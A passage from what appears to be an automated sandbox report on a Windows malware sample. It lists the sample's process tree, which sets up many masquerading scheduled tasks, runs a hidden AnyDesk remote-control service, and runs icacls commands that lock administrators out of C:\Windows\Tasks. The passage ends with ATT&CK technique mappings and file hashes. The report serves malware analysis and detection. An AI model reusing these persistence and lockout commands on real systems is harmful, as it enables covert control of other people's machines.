- Creates scheduled task(s)
PID:4848

C:\ProgramData\AnyDesk\AnyDesk.exe
"C:\ProgramData\AnyDesk\AnyDesk.exe" --service
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Public\Downloads\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Users\Public\Downloads\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows NT\taskhostw.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files\Windows NT\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:684

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows NT\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Internet Explorer\it-IT\upfc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\it-IT\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Internet Explorer\it-IT\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Recent\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3364

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\Default\Recent\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Recent\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\runtimeMonitor\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\runtimeMonitor\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\runtimeMonitor\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wsappzw" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\wsappz.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wsappz" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\wsappz.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wsappzw" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\wsappz.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 11 /tr "'C:\odt\powershell.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1712

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\odt\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 6 /tr "'C:\odt\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3464

C:\ProgramData\AnyDesk\AnyDesk.exe
"C:\ProgramData\AnyDesk\AnyDesk.exe" --control
1⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Windows\Offline Web Pages\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\Windows\Offline Web Pages\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:8

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\runtimeMonitor\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3000

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 14 /tr "'C:\runtimeMonitor\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\Program Files\Common Files\System\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 12 /tr "'C:\runtimeMonitor\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 14 /tr "'C:\Windows\Offline Web Pages\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Program Files\Common Files\System\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2128

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'C:\Program Files\Common Files\System\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2680

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5808

C:\windows\tasks\Wmiic.exe
C:\windows\tasks\Wmiic.exe
1⤵
- Executes dropped EXE
PID:272

C:\windows\tasks\IntelConfigService.exe
"IntelConfigService.exe"
2⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of FindShellTrayWindow
PID:5756

C:\Windows\Tasks\Wrap.exe
C:\Windows\Tasks\Wrap.exe
3⤵
- Executes dropped EXE
PID:6060

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Windows\Tasks\ApplicationsFrameHost.exe" --daemonized
4⤵
PID:6132

C:\Windows\Tasks\ApplicationsFrameHost.exe
C:\Windows\Tasks\ApplicationsFrameHost.exe --daemonized
5⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2308

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "Administrators:(R,REA,RA,RD))"
3⤵
PID:5504

C:\Windows\system32\icacls.exe
icacls C:\Windows\Tasks /deny "Administrators:(R,REA,RA,RD))"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5160

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "Users:(R,REA,RA,RD)"
3⤵
PID:6064

C:\Windows\system32\icacls.exe
icacls C:\Windows\Tasks /deny "Users:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:6136

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "%username%:(R,REA,RA,RD)"
3⤵
PID:5468

C:\Windows\system32\icacls.exe
icacls C:\Windows\Tasks /deny "GBQHURCC$:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:6140

C:\Windows\Tasks\Superfetch.exe
C:\Windows\Tasks\Superfetch.exe
3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:6108

C:\Windows\Tasks\MSTask.exe
C:\Windows\Tasks\MSTask.exe
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5636

C:\Windows\TEMP\~Mp9E82.tmp\~Ma4650.exe
"C:\Windows\TEMP\~Mp9E82.tmp\~Ma4650.exe" /p"C:\Windows\Tasks\MSTask.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies Internet Explorer settings
- Modifies data under HKEY_USERS
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5376

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Winlogon Helper DLL

T1004

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

File Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Process Discovery

T1057

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Common Files\System\Idle.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\Program Files\Common Files\System\Idle.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\ProgramData\1.exe
Filesize
775KB

MD5
0442a8479aa5f19dd5a64ddfd677b9f8

SHA1
fa003104e8e8e6646049a49bd517224ba34ac4b6

SHA256
5161a16217b9d8b9817ad1f6e1020e2eb625bbd6ccf82fbf9423077d0c966aa0

SHA512
51ddbff08b54bbafd365e71432697bea5a3eb49bd87dafd477a059f59e1f2f2eaa8e465abda8499745a9a81c6e10a5c44a9a255d51d79d5e8a7b7c25709abe42

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\service.conf
Filesize
2KB

MD5
48ef1079a5e4e1a5767916e7ee757ac8

SHA1
8588e1dc06560570fd6658f37c0ad0b036f29621

SHA256
c0c3be0dc3bee4022c4b36a8a3f76a8f4de6f608024fa246004744c3ae4d9dc4

SHA512
070a73638220cb07d2ca27af03bf4244dc59abc551402bb7b44b010f31e1208ded2da7eb8cba6a9eecd5088120acf7aa742fe9466c81e5a48921bb4a256af8ab

Download Submit
C:\ProgramData\AnyDesk\service.conf
Filesize
2KB

MD5
3bf96a431dd4f8ab25208521f204d9b3

SHA1
27740d084d08de4e1c90443251cc58838e19d263

SHA256
de1ed278581ae920d685dc1efb52743bb86f300a243bb6f08153f1a7a5067f0a

SHA512
a9dd9e0604340e9a839f0f08e7a7c98e0404f00a7594bc0c0dc709ddb7f249f70de739e4f96dd70dc61709ef4529b79fd60f09f92dc07b0ed8bfadcc3f56486e

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
370B

MD5
afdc4f69f4720b8c4153f6186f49a2b6

SHA1
329c27ea36d7913809b0c239bb58e91d2ee468ac

SHA256
9a218849d74b0ca75ef719b0cab59b40529b958097eb0b0b8527b09bc293a571

SHA512
3a8a6e1994a681a12875b820eb7ca78b6c035a1489c4d8648590424dbec3152e6831ac0c4a73560968231c9b45db869dad189109fb1ecb4a3159258e0099a7de

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
482B

MD5
4b8a9b15d684766034863cc4fe889f59

SHA1
15890c50fac13791679ee8fb74e143c2158e5431

SHA256
e26fa2f3337b716eda72ee2cc315dcd6c7396ad6870d37dc8c90bd97d9c95bb6

SHA512
df55f5747fa7fb6a75547f45a490c95a995ef0b4a3ca3d2554470a3693c629cb5d99fe8ce7a107de83ba277c2000cf300aa21713be2000b37c097038f8f42d8d

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
482B

MD5
4b8a9b15d684766034863cc4fe889f59

SHA1
15890c50fac13791679ee8fb74e143c2158e5431

SHA256
e26fa2f3337b716eda72ee2cc315dcd6c7396ad6870d37dc8c90bd97d9c95bb6

SHA512
df55f5747fa7fb6a75547f45a490c95a995ef0b4a3ca3d2554470a3693c629cb5d99fe8ce7a107de83ba277c2000cf300aa21713be2000b37c097038f8f42d8d

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
482B

MD5
4b8a9b15d684766034863cc4fe889f59

SHA1
15890c50fac13791679ee8fb74e143c2158e5431

SHA256
e26fa2f3337b716eda72ee2cc315dcd6c7396ad6870d37dc8c90bd97d9c95bb6

SHA512
df55f5747fa7fb6a75547f45a490c95a995ef0b4a3ca3d2554470a3693c629cb5d99fe8ce7a107de83ba277c2000cf300aa21713be2000b37c097038f8f42d8d

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
691B

MD5
36398178c9f14502360c368dfc2e7cd1

SHA1
490417d5ffad2127d698829bd6f753bcc63486aa

SHA256
52f91f163c60e8f1bd618bdd55e59ce5033bda9fae4e9cbdbf47232cce2e936c

SHA512
dcff5108af4f52dd281f642694ec9b28e754ee8f008299623f318fce52be9d66e9613288034d7d102c41b8a11838c8aaf5600d6e1ae0dfc972621d0e10890c5c

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
691B

MD5
36398178c9f14502360c368dfc2e7cd1

SHA1
490417d5ffad2127d698829bd6f753bcc63486aa

SHA256
52f91f163c60e8f1bd618bdd55e59ce5033bda9fae4e9cbdbf47232cce2e936c

SHA512
dcff5108af4f52dd281f642694ec9b28e754ee8f008299623f318fce52be9d66e9613288034d7d102c41b8a11838c8aaf5600d6e1ae0dfc972621d0e10890c5c

Download Submit
C:\ProgramData\any.exe
Filesize
6.1MB

MD5
83834462455be62ccf135f3137263119

SHA1
f23d183db2adf37e80469191c7d452e8d39935b6

SHA256
565c7756135d7858e8963928fff8d1fdb99a452d8568319aeda4a073f51d0a23

SHA512
7aa6374b4bafae925a1da59212fdb7f262f98848c058173777c0f30c61243b982cfc3d13ce106e9eb59cfb9957c81a5b496e82a5522e9209f0c30f53f864c411

Download Submit
C:\ProgramData\curl.exe
Filesize
5.2MB

MD5
8b82aeac833969d89948487bf7cd87a7

SHA1
b390e693cd9e9d7aa6f87e8ceb1ea47996191897

SHA256
80d963b634e7eae4161b3721c41c37fb852f7550b2b49ba154a1cbed60bf8896

SHA512
f01a154dd46008e90c9f29bc0b0d275c37fd11105e0957762294da6d1ef633774eb004a7dcd63946b5cc4f768667f4594a8fbf7ce25123d8abb59bad1619b2e6

Download Submit
C:\ProgramData\dc.exe
Filesize
1.3MB

MD5
dae7ec3880731dcd27311b4e1dab5e49

SHA1
52d88c8917cbbe4c40bf2e3a67ef8eaad2b52ffc

SHA256
59a058a95f24d57c98b1801a1bc1e1545db8be230a628e2f7dcc34c0452f2d19

SHA512
8064f3819c815db7cafe243de781bd7755f208ea932f383687421ecd56d610c1929426f6ca55b592e51147386f2ece42bc9b2ebb5a208381a510f9dd88d6e5da

Download Submit
C:\ProgramData\migrate.exe
Filesize
6.6MB

MD5
4d877cab8a19afea517ba4436805ce77

SHA1
7210160bd527a3b726ad0686613bff358823de41

SHA256
e2eee92ef0ffc25134049dd0301d464bf8e7b814ba04b25749dea8c0b7cbc29d

SHA512
af9ce52af8d3a6987eb50fd17cbae170195872e8ca2d65db5198842f185d4cba2b70e9d2d0e9cdeb1cb80bd1adaf1674eec84797d65a8c2e236b18261fe018bc

Download Submit
C:\ProgramData\wsappz.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\wsappz.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
11ddbb115e80d82619e4b7ac0dfc8209

SHA1
c165574851761c49a8281f9436a3ed799e1e6e9a

SHA256
7ed6eaa137b96deea4ea4a897c41b573d4ec9110f8f57cc54666625142e804ae

SHA512
2f3178b31180da9d1acf9bb20707e2751166239d608c9c98ef5cc818ca059a6d2a7307c79f21513676e61aeb8d3fed2dcc547871bf36f4fdb1f72b8b241b0806

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
7b8a113dae6219ef4b845057eb76f367

SHA1
865e7514bf8f776c7369c7922450d8d2f141e088

SHA256
fefbbcdfebe5c720d8368863818d26143e6e48a093b1bbed2e9f4c357b0ff4c5

SHA512
7525c4beeb22122cf5eeb8a5ecad974943e65db34d088323fb91b296552fe80cee945adf6e4d8ce08b64529421c2d24730c975c91d96b9fb6d8eb42fb72ba9b9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
11KB

MD5
91f2f9360887e7e437fced77b7350a87

SHA1
cde610dbc338453dc3ef7b644661731f7eea8d33

SHA256
4de36806120e93e09e9caa8b73d8875ef9580519d0e1a1e5c2d1ce81ce5567c8

SHA512
066282867f8f3481db8018aa1d8a79e4493635e6456c7fa0462c08dbd7404ead535de851c77581789393c7738203ecd4edfa25ffa4be5a40faf9690ffabb341b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

